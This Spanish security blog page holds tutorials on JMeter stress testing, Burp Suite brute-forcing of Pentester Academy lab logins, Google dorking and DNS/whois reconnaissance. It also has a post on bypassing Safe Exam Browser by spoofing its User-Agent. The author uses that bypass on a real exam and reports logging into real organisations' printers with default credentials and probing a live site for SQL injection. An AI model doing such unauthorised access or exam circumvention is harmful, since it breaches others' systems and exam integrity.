actualidad sobre consultoria, normas y seguridad de la informacion
Guias, procesos y manuales sobre Ethical Hacking
Mostrando entradas con la etiqueta ethical hacking. Mostrar todas las entradas

Prueba de carga y estrés con Jmeter



Performance Testing o prueba de rendimiento tiene como objetivo eliminar “cuellos de botella” en la ejecución de una aplicación y poder determinar una medida aceptable para su funcionamiento,

Con esa simple definición podemos conocer profundamente la intención  de realizar este tipo de pruebas a nuestros servicios o aplicaciones y tener una perspectiva de su funcionamiento,

Load Testing o prueba de carga es un proceso progresivo en el cual se va aumentando la carga (usuarios, transacciones, peticiones) en el sistema.

Stress Testing o prueba de estrés en esta se busca forzar a una falla en el sistema excediendo los recursos y verificar su comportamiento ante esta situación.


¿Por qué utilizar este tipo de pruebas?

Por que nos ayuda a encontrar fallas en los servicios y tener una perspectiva de su solidez antes de entrar a producción, las pruebas de estrés aumentan la posibilidad de encontrar errores de concurrencia o problemas de memoria (Buffer Overflow)

¿Cual es la diferencia entre los test load y stress?

Normalmente se ven como sinónimos, sin embargo el concepto de pruebas de estrés abarca mas allá que un test de carga, y nos ayuda a determinar el comportamiento de un sistema bajo un nivel de exigencia (Stress) mayor al que es capaz de manejar, de ahí el origen de su nombre.

En estos Test el sistema se satura y los escenarios más comunes suelen ser:
  • El sistema apila y desecha peticiones
  • El sistema responde con una latencia a las peticiones.
  • El sistema colapsa y queda fuera de línea. (DOS)
En términos simples:
Load Testing = Gran cantidad de usuarios
Stress Testing = Demasiados usuarios, demasiados datos, demasiadas peticiones, poca memoria, poco espacio

Los ataques DOS o DDOS están basados en este principio inundan de peticiones el objetivo llevando a un nivel de estrés y si no se encuentra bien protegido el objetivo colapsa.

Test

Normalmente este tipo de pruebas suelen ser usados en servidores web's llámese Apache, Nginx, lighthttpd, Cherokee o incluso IIS. pero tambien puede usar el mismo principio para pruebas de software (Desktop) o cualquier sistema de información.

Todos estos servidores web en su configuración por defecto trabajan excelente pero los sitios web albergados pueden convertirse en una fuente de carga estresante para el servidor y forzando a colapsar los servicios.

Existen diversas formas tanto manuales, y herramientas automatizadas para realizar este tipo de pruebas. algunos automatizados son Jmeter, siege, ab (ApacheBench),

Nuestro ambiente de simulación es el siguiente:
  • Servidor CentOS 6.3
  • Apache 2.2.15 (Configuración por defecto) lo invito a ver el hardening de esta app
  • PHP 5.3.3
Simulare un esfuerzo con la herramienta Jmeter de Apache con el se pueden realizar pruebas de carga y stress sobre servidores, esta herramienta requiere una version java >= 1.6:

  • Web - HTTP, HTTPS
  • SOAP
  • BD via JDBC
  • LDAP
  • JMS
  • Mail - SMTP(S), POP3(S) y IMAP(S)
JMeter puede hacer peticiones distribuidas puede encontrar mas info aqui
Una vez tenga instalado el Jmeter ejecutamos el script Jmeter ubicado /bin dentro de la carpeta de Jmeter  esto si quiere usar el modo GUI.

Al ejecutarlo nos encontraremos con la GUI  en el cual nos solicita crear un plan de Pruebas :


Un plan de prueba se compone de una secuencia de componentes que determinaran cómo se simulará la prueba de carga. Ahora podemos añadir elementos a este plan de pruebas. jMeter permite muchos tipos diferentes de peticiones a practicar como mencione anteriormente, nosotros nos limitaremos al HTTP


1. Agregamos un Thread Group
  • Clic derecho en Test Plan >Add>Threads (Users) >Thread Group 

Thread Group tiene tres propiedades particularmente importantes que influyen en la prueba.

  • Number of Threads (users): Numero de usuarios a simular
  • Ramp-Up Period (in seconds): Tiempo que Jmeter distribuira los Threads
  • Loop Count: El numero de veces que se ejecutara la prueba.


2. Agregamos un HTTP Request Defaults
  • Clic derecho en Test Plan >Add>Config Element >HTTP Request Default 
Este elemento es utilizado para establecer los valores predeterminados para las peticiones HTTP en nuestro plan de pruebas.

En este elementos llenamos los datos del servidor solicitados para la prueba. 

3. Agregamos el elemento HTTP Request Sampler
  • Clic derecho en Thread Group >Add>Sampler >HTTP Request
Debemos tener en cuenta que no es necesario especificar los datos del servidor en este elemento debido a que ya se ha especificado en el elemento de HTTP Request Defaults.

Nota: Si desea agregar más solicitudes HTTP como parte de la prueba, se debe repetir este paso. Cada Thread llevará a cabo todas las peticiones en este plan de pruebas.

3. Agregamos el elemento View Results in Table Listener
  • Clic derecho en Thread Group >Add>Listener>View Results in Table
Con este elemento podemos visualizar la interacción de Jmeter hacia nuestro aplicativo ejerciendo la prueba una vez ejecutada la prueba.

la tabla refleja la iteracion del HTTP Request.

de esta manera podemos realizar simulaciones de estres y podemos ir forzando y ejerciendo mas iteraciones a medida que veamos el comportamiento del sistema de información.


Proceso de optimización

Como cualquier tema en auditoria despues de realizar estas pruebas, el sysadmin debe pasar a un proceso de optimizacion para solucionar los fallos encontrados en el sistema. el proceso difiere de acuerdo al sistema de informacion por ejemplo si el sistema se trata de un servidor de base de datos se debe ejercer una optimizacion a su configuración por ejemplo, caché de consultas, contemplar mayor recursos, analizar velocidad de escritura en disco, caché de objetos para evitar lecturas desde base de datos (memcached, APC, etc). Utilización de sistemas de caché estático (nginx como proxy inverso, Varnish, etc).
Si se trata de un servidor web: realizar un hardening al servidor web, denegar las multiples peticiones, Mantener una bitacora firewall (Para muchos algo de poca relevancia - pero es de lo mas importante para un sysadmin), ejercer el uso IPS e IDS,



Read more

Pentesting Aplicaciones Web (Burp suite)


Burp Suite es una herramienta mas que conocida por los pentester, en estos dias estaba haciendo uso de ellas en auditoria de aplicaciones web y recordé que no había realizado un post de esta increíble herramienta. la cual para mi gusto es mas que buena y me ahorra tiempo a la hora de realizar Script. claro esta en la versión Pro. ya que la versión free es limitada sobre todo en la velocidad de procesar los ataques.

Burp Suite es una aplicación desarrollada en java la cual podemos encontrar en versiones gratis y de paga. es una herramienta desarrollada explicitamente para pruebas de seguridad en aplicaciones web.

Los componentes de Burp Suite mas destacados son:

  • Proxy: Actua como un proxy haciendo como un man in the middle, lo que le permite interceptar las peticiones al navegador, y asi inspeccionar y modificar el tráfico entre el navegador y la aplicación de destino.
  • Spider: con reconocimiento de aplicaciones, para el rastreo de contenido y funcionalidad.
  • Scáner: Disponible en la versión de paga, escanea el sitio en busca de vulnerabilidades.
  • Intuder Tool: Con este componente podemos realizar ataques personalizados y automatizados para explotar vulnerabilidades. 
  • Repeater: El repetidor es una herramienta sencilla la cual se puede utilizar para modificar las solicitudes al servidor y volver a enviar.

Vamos a poner a prueba esta herramienta con los 4 desafíos gratuitos de pentesting-academy

Challenge 1: Form Bruteforcing Solutions


En el primer reto del Web-Lab nos encontramos con un login, en el cual nos dan pista para el ataque nos dicen que:
  1. El dominio es: PentesterAcademy.com
  2. Los usuarios posibles son: jack, admin
  3. Y de que la posible contraseña es de 5 caracteres y solo contiene las letras x,y,z en minúscula
Bueno ya teniendo esta información nos vamos a Burp Suite, en mi caso estoy realizando las pruebas en Kali Linux, El cual ya trae integrada la herramienta en su versión gratuita.

En la pestaña Proxy de Burp Suite podemos observar que trabaja en localhost (127.0.0.1) a través del puerto 8080. estos datos los configuramos en nuestro navegador.



Una vez ya configurado podemos captar la comunicación de nuestro navegador. Burp suite intercepta antes de enviar los datos entre el navegador y la aplicación web. ya interceptada puedes validar datos, modificar o simplemente hacer clic en Forward. para que Burp Suite permita seguir la comunicación.

Para el primer laboratorio digitare en el login un nombre de usuario de los que nos dan que seria admin@PentesterAcademy.com y contraseña cualquier cosa solo como prueba.

Una vez interceptada la comunicación esta la podemos observar en la pestaña intercept de burp suite.


Como ven en la imagen la petición se hace a través del método GET y muestra en texto plano lo enviado. esta información la envió al componente intruder.

En este componente nos encontraremos las siguientes pestañas:
Target: Nos muestra información del objetivo y nos permite modificar dominio y puerto
Positions: Nos permite configurar las variables ha tener en cuenta en el Payloads.
Payloads: Nos permite configurar la transmisión de los datos a proporcionar a la aplicación.
Option: Permite realizar ajustes que controlan si intruder actualiza los encabezados de solicitud configurados durante los ataques.

Nos vamos a la pestaña Positions. selecciono el valor del campo password y hago clic en el botón add$ esto con el propósito que solo cambien los valores de la contraseña ya que conocemos el usuario. y el tipo de ataque seleccionamos sniper.


Ahora en Payload. configuremos nuestros datos a enviar.
En Payload Type seleccionamos Bruter Forcer ya que lo que vamos a realizar para este caso es un ataque de fuerza bruta. introducimos nuestros tres caracteres a permutar (x,y,z) con un mínimo y máximo de 5 caracteres. una vez configurado nos vamos al menú intruder --> Start Attack.

Una vez comienza el ataque probara las 243 permutaciones posibles de nuestros caracteres. en este caso todas los estados seran de 200 asi que nos guiaremos por la longitud (length).
como ven el length de esta varia hacemos doble clic y en response-->render nos muestra que hemos entrado con exito con las credenciales:
username: admin@PentesterAcademy.com
password: zzzxy

Challenge 2: HTTP Form Attacks Reloaded  


En el segundo desafió tenemos que pasar por alto dos tipos de autenticacion uno va por GET y el otro es HTTP Basic Authentication.
Al igual que el anterior nos dan pista, el mismo domino que el anterior, los usarios son admin y nick, la complejidad de la contraseña es de 5 caracteres en los cuales solo incluye a,s,d.
Usernames: nick, admin

Si caemos en el error y empezamos el ataque con fuerza bruta configurando todo los parámetros como lo hicimos anteriormente notaremos, que el metodo GET no funcionara por la recarga y validación del formulario HTTP Basic Authentication. y no podemos usar el metodo POST el cual usa el segundo método de autenticación. ya que el primero no lo permitira. asi que optamos por usar el metodo de cabecera HEAD. y asi realizar un Bypass al reload login.

Y podemos ver la contraseña fluir con la URL de éxito.

Challenge 3: HTTP Basic Authentication Attack (Easy)


En esta ocasión la autenticacion del reto esta basada por el método POST. A traves de HTTP Basic Authentication.
lo primero que podemos notar es que las credenciales viajan codificadas, (No Cifradas) en Base64, .


Enviamos lo captado a intruder, y dentro seleccionamos el texto y haciendo clic derecho  Convert Selection --> Base64 --> Base64 decode. podemos decodificar el texto y podemos observar lo digitado anteriormente.

Aun teniendo el texto seleccionado hacemos clic al boton Add$ dado que en esta ocacion tanto la clave como el usuario viajan como un solo texto Observando : que son divididos por ":" para su identificación.

Nos dirigimos a Payloads y configuramos nuestros parámetros de la siguiente manera:

Seleccionamos Bruter force como tipo de ataque nuestra permutaciones que nos dan como pista. Y añadimos como reglas un prefijo "admin:" que seria el usuario con los dos puntos de division de campos. igualmente como vimos que esto viajaba codificado en Base64. debemos igualmente enviarlo codificado de la misma manera, para eso lo añadiremos como regla de Encode.

Y en Payload Encoding. quitaremos el símbolo = ya que no es usado por Base64. Y por ultimo lanzamos nuestro ataque con Burp Suite. dándonos como resultado lo siguiente:
Donde nos arroja un Status 200 El cual en HTTP es un estado de OK. seleccionamos todo el texto en Authorization Basic, hacemos clic derecho y lo enviamos a decoder para decodificarlo en Base64 y obtener el texto plano.

Success, nuestras credenciales de acceso serian admin, aaddd

Challenge 4: Basic Authentication and Form Bruteforcing (Intermediate)

En este reto existen dos tipos de autenticacion y tenemos como pista los usuarios nick y admin.
Para la autenticacion html form nos encontramos con 5 caracteres y hacen solo uso de los caracteres m,n,o en cuanto a la otra autenticacion contiene los caracteres v,i,e de igual tamaño. ambos en minúscula.

Comenzamos a capturar y lo primero que notamos en la cabecera es que primero se valida el HTTP Basic y luego HTML Form. así que el orden a atacar seria primero el HTTP Basic en Base64 guardar/recordar las credenciales y luego ir por el HTML Form.


Ya teniendo esta analogía apliquemosla en Burp Suite. Nos vamos a Payloads y configuramos nuestro primer ataque para el HTTP Basic. asi que debemos configurar como en el Challenge 3. una vez ya configurado efectuamos el ataque.

aplicando el decoder Base64 podemos observar que nuestras primeras credenciales son: nick:vivvv

Una vez ya tengamos nuestras primeras credenciales, las quemamos en la cabecera y proseguimos  a por la segunda donde todas nos arrojaran Status 200, debido al OK de la primera.


Efectuamos el ataque y Eureka!
Nuestras segundas credenciales son:
email: admin@pentesteracademy.com
password: nnomm
como ven nuevamente las identifique por la longitud (length) debido al estatus OK de todas. ya con esto hemos pasado todos nuestros Challenge gratis de pentesteracademy con tan solo una herramienta.

Espero que les haya gustado hasta otra ocasión.


Read more

Bypass Safe Exam Browser

Hace unos días me encontraba por realizar un examen en una plataforma moodle cuando entro para realizar el examen me encuentro con un mensaje en moodle donde me da el aviso que el examen solo podía realizarse en un navegador seguro.. realmente me pareció algo gracioso para un examen para personas con un grado de conocimiento en seguridad de la información.



Inmediatamente me pico el bicho de seguridad de conocer sobre ese supuesto navegador seguro y como saltármelo.

el navegador seguro era un modulo de moodle llamado Safe Exam Browser es un entorno supuestamente seguro donde los estudiantes pueden realizar los examenes con solo una instancia de un navegador al parecer basado en firefox  de forma segura. El software cambia cualquier ordenador en un puesto de trabajo seguro. Regula el acceso a los servicios públicos, como funciones del sistema, otros sitios web y las aplicaciones y evita recursos no autorizadas que se utilizan durante un examen y la denegación de pulsaciones de teclas de función y combinaciones.

Lo primero que se me vino a la mente fue descargarlo y abrirlo para ver que era.. ps realmente tomaba "posesion" del sistema y solo daba la impresión de generar un escritorio con la instancia de su navegar y nada mas que un boton de salir.

Al ser un navegador fácilmente recordamos que todos usan un User-Agent. el cual ubico rápidamente en la misma web.



May 23, 2013
New Bugfix Version of SEB Windows 1.9.1 Final Release fixes a bug in the XULRunner browser component. The User Agent String in the "config.json" file has been changed from "SEB" to "Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0 SEB" because some web pages checked it and complained.

Simplemente con cambiar el User-Agent. de tu navegador favorito llámese firefox o chrome podemos ingresar simulando estar en SEB.

El complemente USer-Agent-Switcher el cual se encuentra tanto para firefox como para chrome nos permite cambiar rapidamente el User-Agent por uno de los ya establecidos o generado como es el caso.

Una vez ingresado el nuevo User-Agent regreso a la web y así de fácil fue saltar este supuesto modulo de seguridad.

El cual me parece que es una buena idea plantar la honestidad en los alumnos al presentar exámenes pero el desarrollo aun me parece muy crudo para implementarlo en exámenes en alumnos con niveles básicos de informática.






Read more

Técnicas de recolección de información

Information Gathering

En el día de hoy hablaremos de las técnicas mas usadas para la recolección de información a nivel general, esta es la primera y una de las fases de pre-pentestin ó pre-ataque con mas importancia en la auditoria de seguridad ya que a través de esta recopilación de información podemos conocer un poco mas sobre el objetivo.

Normalmente en esta fase debemos obtener toda la información posible para diseñarnos o imaginarnos como esta distribuida la red a penetrar.

Las guías de CEH nos enumeran siete Etapas de Information Gathering - Footprinting

01 - Gathering information 
02 - Locating the network range
03 - Identifying active machines
04 - Finding open ports and applications
05 - Detecting operating systems
06 - Fingerprinting services
07 - Mapping the network

Footprinting

Es definido como el proceso de crear un modelo o mapa de una organización de redes y sistemas. Consiste en la búsqueda de toda la información pública, bien porque haya sido publicada a propósito o bien porque haya sido publicada por desconocimiento. en este proceso buscaremos todas las huellas posibles, como direcciones IP, servidores internos, cuentas de correo de los usuarios, nombres de máquinas, información del registrador del dominio, tipos de servidores, ficheros con cuentas y/o credenciales de usuarios, impresoras, cámaras IP, metadatos, etc.

Fingerprinting

Es un proceso o técnica que consiste en analizar y determinar las huellas que deja un S.O en sus conexiones de red.

Los programas que se utilizan para realizar Fingerprinting se basan en dos filosofías, escáner pasivo o activo:
Activo: Cuando se envia paquetes esperando respuesta del objetivo y es comparada con su base de datos, las tecnicas que suelen ser usadas son: inundacion de paquetes SYN, envio flags TCP incorrectos, envio de paquetes FIN... los cuales permiten ser detectados facilmente.

Pasivo: Cuando se esnifea trafico para identificar las maquinas que  se intercomunican en la red, comparando sus tiempos de respuesta sin actuar en la red. La deteccion de esta tecnica se torna dificil, pero tiene sus incovenientes: hay que esperar un gran lapso de tiempo para la captura de paquetes.

network schema


Gathering information

Son muchas las herramientas, técnicas y recursos disponibles que cumplen con este propósito.
Estas son algunas de ellas:
  • Google Hacking 
  • Whois, Nslookup
  • Metadatos
  • Ingeniería Social
Igualmente existen herramientas automatizadas para recolectar todo tipo de información.

La idea de toda la fase es construir un perfil del objetivo siguiendo las etapas mencionadas anteriormente..

Google Hacking:

Google siempre ha sido uno de los recursos mas utilizado para la busqueda de informacion. Con la ayuda de los operadores de búsqueda de Google los cuales son términos de consulta o símbolos que realizan acciones especiales. Estos operadores nos permiten encontrar informacion concreta en forma rápida y precisa.

El nombre a la tecnica a mi parecer suena mas de lo que verdad es.. realmente no se hacking con google simplemente es un gran aliado en la recopilacion de informacion. el nombre va mas por lo que podemos encontrar con el por ejemplo:

  • Dispositivos de red (Impresoras, Camaras IP, Router's, Switches, Telefonos IP, PBX)
  • Sitios Vulnerables (Errores )
  • Informacion Personal (Tel, Nombres, Correos, Etc..)
  • VNC Server
  • Consolas Web de Antivirus
  • UPS Monitor
  • Base de datos de correo, usuarios, contraseñas
  • FTP Servers
  • Logs.
  • Documentos
  • Etc..
Por todo esto hace parte de las mejores herramientas de búsqueda de información. Claro esta que esto no dejaria de ser asi si los admin hicieran bien su tarea y no permitiera la falta de protecion o seguridad de dispositivos y sitios web los cuales permiten que el robot de google los indexe. 


Ejemplos usando Google Hacking:

Buscando Dispositivos de red (Impresora):

Que interesa obtener el acceso al portal de un Print Server. En conversaciones he escuchado este tipo de pregunta, y la respuesta es simple si vos sos una empresa rival o cualquier otro ente o persona que requiera informacion de dicha empresa que mejor que ver los documentos que se imprimen a diario en esas impresoras? ahora torna importante cierto? esto ahorra hacer Garbage. y el auditor o atacante pude obtener ademas de esta informacion las IP de subredes internas, ademas de estar ya dentro de dicha red.

Ejemplos:
inurl:"main/main.html" intitle:"Brother"


Una vez en el panel de administración, se accede a la lista de impresoras que se encuentran en la misma organización con la opción de Buscar  y que se hayan dado de alta, ya sean de la marca Brother o de cualquier otro fabricante.




Si intentamos ingresar a los ajustes de administrador configuracion general nos solicitara credenciales de acceso, bien estas no las conocemos pero algo curioso ocurre cuando cancelamos el login. la web nos informa sobre las credenciales default de acceso. probemos.


Intentemos ingresarlas y a ver que pasa:

y como era de esperarse algunas web de listado arrojado aun permanecen con los credenciales por defecto.

Buscando Sitios web vulnerables (SQL Injection):
La mayoria de los sitios web no pasan por analisis de vulnerabilidades los cuales hacen que el administrador de dicho sitio pase desapercibido de estas.
Uno de los parametros de busqueda para encontrar web vulnerables a SQL Injection son aquellos que basan en contenido de noticias. o CMS
un ejemplo de parametro de busqueda seria el siguiente:
inurl:noticias.php?id=1

Entrando a la primera web que me arroja google inmediatamente puedo comprobar que es vulnerable a SQL Injection simplemente dejando nulo el parametro ID  en la URL de la web.

solo quedaría explotar esta vulnerabilidad entrar a la BD y se podrá obtener toda información privada.

De esta misma forma podemos buscar errores específicos en los sitios para explotar.


Buscando listado de recursos
se puede usar el siguiente termino de busqueda: intitle:"index of" pentesting  con esto buscare listado de recursos que tengan que ver con pentesting.


Un ejemplo mas seria buscar consolas web de VNC Server:
intitle:"VNC viewer for Java"

Para no alargar mas el articulo pueden encontrar mayor información de google hacking en el Ebook Google Hacking for Penetration Testers, Volume 2.

Igualmente hoy en dia existen diversas herramientas para automatizar este tipo de búsquedas como son: GooScan, SiteDigger, ProminentDork, etc...



Whois
es un protocolo TCP el cual suministra información publica que permite determinar el propietario de un nombre de dominio o de una IP, esta información involucra clientes y empresa proveedora. esta herramienta puede ser usada a traves de la consola o bien de diversas paginas web que ofrecen la herramienta en modo online.

En modo consola podemos usarla simplemente con el comando Whois :


[Antony@Server ~]$ whois 173.194.112.80
[Querying whois.arin.net]
[whois.arin.net]

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# http://www.arin.net/public/whoisinaccuracy/index.xhtml
#


#
# Query terms are ambiguous.  The query is assumed to be:
#     "n 173.194.112.80"
#
# Use "?" to get help.
#

#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=173.194.112.80?showDetails=true&showARIN=false&ext=netref2
#

NetRange:       173.194.0.0 - 173.194.255.255
CIDR:           173.194.0.0/16
NetName:        GOOGLE
NetHandle:      NET-173-194-0-0-1
Parent:         NET173 (NET-173-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       AS15169
Organization:   Google Inc. (GOGL)
RegDate:        2009-08-17
Updated:        2012-02-24
Ref:            http://whois.arin.net/rest/net/NET-173-194-0-0-1


OrgName:        Google Inc.
OrgId:          GOGL
Address:        1600 Amphitheatre Parkway
City:           Mountain View
StateProv:      CA
PostalCode:     94043
Country:        US
RegDate:        2000-03-30
Updated:        2013-08-07
Ref:            http://whois.arin.net/rest/org/GOGL

OrgTechHandle: ZG39-ARIN
OrgTechName:   Google Inc
OrgTechPhone:  +1-650-253-0000 
OrgTechEmail:  arin-contact@google.com
OrgTechRef:    http://whois.arin.net/rest/poc/ZG39-ARIN

OrgAbuseHandle: ZG39-ARIN
OrgAbuseName:   Google Inc
OrgAbusePhone:  +1-650-253-0000 
OrgAbuseEmail:  arin-contact@google.com
OrgAbuseRef:    http://whois.arin.net/rest/poc/ZG39-ARIN


#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# http://www.arin.net/public/whoisinaccuracy/index.xhtml
#

Y como mencionamos anteriormente pueden optar usarla a traves de los sitios web que la ofrecen por ejemplo centralops o bien cqcounter esta ultima con Geo localización.



Como podrán notar con esta herramienta se puede extraer una gran cantidad de información como direcciones, DNS, correos, Etc..

Realizando consultas DNS: Igualmente podemos recolectar información realizando consultas de DNS, Nslookup Es un programa, utilizado para saber si el DNS está resolviendo correctamente los nombres de dominio y las IPs. el comando lo podemos encontrar tanto en windows como sistemas Unix.

La recolección de información se realiza también desde el DNS, ya que proporciona un poco de información pública y privada en algún momento, acerca de los servidores de la organización como la dirección IP, el nombre del servidor. existen diversas herramientas que interactúan con los servidores DNS como son nslookup y dig,

El siguiente ejemplo muestra la salida de una consulta sencilla con nslookup a google.com

[Antony@Server ~]$ nslookup 
> google.com
Server:  74.63.208.3
Address: 74.63.208.3#53

Non-authoritative answer:
Name: google.com
Address: 74.125.227.201
Name: google.com
Address: 74.125.227.193
Name: google.com
Address: 74.125.227.198
Name: google.com
Address: 74.125.227.192
Name: google.com
Address: 74.125.227.206
Name: google.com
Address: 74.125.227.194
Name: google.com
Address: 74.125.227.199
Name: google.com
Address: 74.125.227.200
Name: google.com
Address: 74.125.227.197
Name: google.com
Address: 74.125.227.196
Name: google.com
Address: 74.125.227.195
 
En este otro ejemplo se realiza nuevamente se consulta con nslookup , con el fin de identificar las ip y registros MX correspondiente a google y asi identificar posibles servidores de correo.


[Antony@Server ~]$ nslookup
> set type=mx
> google.com
Server:  74.63.208.3
Address: 74.63.208.3#53

Non-authoritative answer:
google.com mail exchanger = 30 alt2.aspmx.l.google.com.
google.com mail exchanger = 40 alt3.aspmx.l.google.com.
google.com mail exchanger = 20 alt1.aspmx.l.google.com.
google.com mail exchanger = 10 aspmx.l.google.com.
google.com mail exchanger = 50 alt4.aspmx.l.google.com.

Authoritative answers can be found from:
alt2.aspmx.l.google.com internet address = 64.233.171.27
alt3.aspmx.l.google.com internet address = 74.125.141.27
alt1.aspmx.l.google.com internet address = 74.125.137.27
aspmx.l.google.com internet address = 64.233.169.27
alt4.aspmx.l.google.com internet address = 64.233.186.27

El resultado nos arroja varios servidores alternos de correos de google y los valores de prioridad de estos, el valor mas bajo tiene mayor prioridad.

También podemos obtener información del servidor de nombres de una organización escribiendo los siguientes parámetros.


[Antony@Server ~]$ nslookup
> set type=ns
> google.com
Server:  74.63.208.3
Address: 74.63.208.3#53

Non-authoritative answer:
google.com nameserver = ns4.google.com.
google.com nameserver = ns1.google.com.
google.com nameserver = ns3.google.com.
google.com nameserver = ns2.google.com.

Authoritative answers can be found from:
ns4.google.com internet address = 216.239.38.10
ns1.google.com internet address = 216.239.32.10
ns3.google.com internet address = 216.239.36.10
ns2.google.com internet address = 216.239.34.10

El resultado nos muestra que existen cuatro servidores DNS.

MetaDatos

Es una técnica útil para recolectar información que se encuentran contenidos en los ficheros. Los metadatos son datos altamente estructurados que describen información sobre un objeto en este caso un fichero. en el podemos encontrar el autor, fecha de creacion, nombre del equipo, sistema operativo.

Existen diversas herramientas para la obtencion y analisis de los metadatos una de las mas conocida es FOCA (Fingerprinting Organizations with Collected Archives)  soporta los siguientes tipos de documentos:

  • Microsoft Office de la versión 97 a la 2007
  • OpenOffice
  • Portable Document Format (pdf)
  • Corel Word Perfect document (wpd)
  • Joint Photographic Experts Group (jpg)

Ingeniería Social

y  por ultimo y no menos importante esta tecnica es el pan de cada dia de muchos delicuentes y no solo es usada por hackers informaticos, sino por estafadores de todo tipo. como las populares llamadas telefonicas, correos, phising. etc... esta práctica se usa con el fin de obtener información confidencial a través de la manipulación de usuarios legítimos. Es una técnica que pueden usar ciertas personas, tales como investigadores privados, criminales, o delincuentes informáticos, para obtener información, acceso o privilegios en sistemas de información que les permitan realizar algún acto que perjudique o exponga la persona u organismo comprometido a riesgo o abusos.

si has realizado encuestas si algun dias has digitado o dado tus datos personales sin saber realmente quien esta detras de esa llamada, correo, encuesta, o herramienta, posiblemente has sido objeto de esta practica común.

Locating the network range

El siguiente paso del proceso de recopilación de información es tratar de identificar el rango de direcciones IP junto con su máscara de subred del objetivo.

Para encontrar el rango de la red, el auditor puede trazar la ruta entre su sistema y el sistema de objetivo. Hay muchas herramientas de traceroute hoy en dia que nos entrega como resultados graficas de los nodos traceados como es Visual Trace Route Tool. los que son mas de consola pueden seguir optando por el comando Traceroute o Tracert en windows. Es un comando simple pero de gran utilidad en auditorias de seguridad, si se desea obtener el traceado de una ip de un atacante o bien de un objetivo, hay es cuando aparece el comando el cual nos muestra una traza de la dirección es decir nos permite seguir los saltos de host, puntos de red o nodos como quieran llamarlos. con ella el auditor puede obtener información relevante sobre el objetivo.


En el siguiente ejemplo se utiliza el comando traceroute desde del punto de vista de un auditor o atacante informático, con el propósito de identificar host's implicados en el paquete o ataque.

[Antony@Server ~]$ traceroute 173.194.112.80
traceroute to 173.194.112.80 (173.194.112.80), 30 hops max, 40 byte packets
 1  XXXXXXXXXXXXXX.static.reverse.lstn.net (XXX.XXX.XXX.XXX)  0.698 ms  0.848 ms  1.058 ms
 2  XXXXXXXXXXXXXX.dallas-idc.com (XXX.XXX.XXX.XXX)  1.485 ms  1.530 ms  1.568 ms
 3  XXXXXXXXXXXXXX.dallas-idc.com (XXX.XXX.XXX.XXX)  0.254 ms XXXXXXXXXXXX.dallas-idc.com (XXX.XXX.XXX.XXX)  0.278 ms XXXXXXXXXXXXXXXXX.dallas-idc.com (XXX.XXX.XXX.XXX)  0.282 ms
 4  172.22.1.17 (172.22.1.17)  0.644 ms 172.22.1.13 (172.22.1.13)  2.428 ms  2.552 ms
 5  xe-2-1-1.mpr1.dfw15.us.above.net (209.249.11.165)  0.234 ms  0.210 ms  0.205 ms
 6  ae4.cr1.dfw2.us.zip.zayo.com (64.125.21.6)  0.724 ms  0.660 ms  0.707 ms
 7  ae11.er1.dfw2.us.zip.zayo.com (64.125.20.66)  0.377 ms  0.583 ms  0.577 ms
 8  72.14.194.53 (72.14.194.53)  0.448 ms  0.627 ms  0.421 ms
 9  209.85.244.120 (209.85.244.120)  0.551 ms  0.547 ms 209.85.244.122 (209.85.244.122)  0.723 ms
10  66.249.95.198 (66.249.95.198)  122.528 ms  122.443 ms  122.649 ms
11  72.14.238.91 (72.14.238.91)  19.112 ms 209.85.142.206 (209.85.142.206)  21.873 ms 72.14.238.91 (72.14.238.91)  19.038 ms
12  216.239.48.150 (216.239.48.150)  42.934 ms 216.239.48.41 (216.239.48.41)  42.377 ms  42.457 ms
13  216.239.48.155 (216.239.48.155)  120.624 ms  120.609 ms  120.544 ms
14  209.85.143.217 (209.85.143.217)  110.861 ms 209.85.251.49 (209.85.251.49)  113.830 ms  113.687 ms
15  72.14.235.14 (72.14.235.14)  121.715 ms 209.85.243.34 (209.85.243.34)  122.293 ms  122.448 ms
16  72.14.234.234 (72.14.234.234)  119.539 ms 72.14.234.236 (72.14.234.236)  118.813 ms  118.698 ms
17  72.14.236.53 (72.14.236.53)  121.589 ms  121.623 ms  122.190 ms
18  fra07s29-in-f16.1e100.net (173.194.112.80)  119.467 ms  119.241 ms  119.211 ms

En el resultado del ejemplo se puede identificar los host por los cuales pasa un paquete de red entre el equipo de origen y el equipo destino, los tres primeros salton hacen parte del equipo de origen, el resto es el camino que tomo ese paquete para llegar al equipo destino.

Identifying active machines

Antes de intentar cualquier pentest, primero tenemos que identificar las máquinas activas que están en el alcance de la red de destino. Es importante tratar de detectar equipos activos en la red de destino por varios razones:

  • Ayuda a completar los detalles precisos en el mapa de la red que se está creando.
  • Identifica el perímetro y el límite exterior del sistema de destino.
  • Ayuda a crear un inventario de los sistemas que son accesibles en la red de destino.

Traceroute, Ping  y Nmap  son herramientas útiles para la identificación de los sistemas activos.

PING

Este comando ICMP lo que podemos encontrar en todos los S.O nos permite validar que equipos se encuentran activos o bien responden un mensaje ICMP. Ping nos puede dar detalles para medir la velocidad a la que los paquetes viajan a través de la red, y para obtener algunos datos básicos sobre el objetivo, al igual que Time-To-Live (TTL). También se puede utilizar para la resolución de nombres de host. Ping funciona muy simple. Se envía una solicitud de eco a un host de destino y espera a que el objetivo envié una respuesta eco. Así podemos hacer un barrido con ping y conocer los equipos que se encuentran activos.

Para eso pueden hacer uso de diversas herramientas que hacen uso de Ping o scanner de red. también se puede hacer uso de Nmap el cual también puede realizar esta tarea.

Hay que recordar que si detrás del objetivo existe un buen admin este posiblemente se encuentre protegido de los barridos de ping.

Detecting operating systems and Finding open ports and applications

Ya ahora que conocemos mas o menos el tamaño de la red y hemos identificado las maquinas disponibles, como auditor debemos  obtener los puertos abiertos en esas máquinas y descubrir los servicios disponibles e identificar el sistema operativo.

La determinación del tipo de S.O es también un objetivo de la exploración, ya que esto determinará
el tipo de ataque que se lanzará. al igual que las versiones para conocer la existencia de vulnerabilidades expuestas en las BD de seguridad y asi explotarlas.

Las técnicas para identificar estos puertos y descubrir los servicios son:

  • Port scanning: se emplea para designar la acción de analizar por medio de un programa el estado de los puertos de una máquina conectada a una red de comunicaciones. Detecta si un puerto está abierto, cerrado, o protegido por un cortafuegos
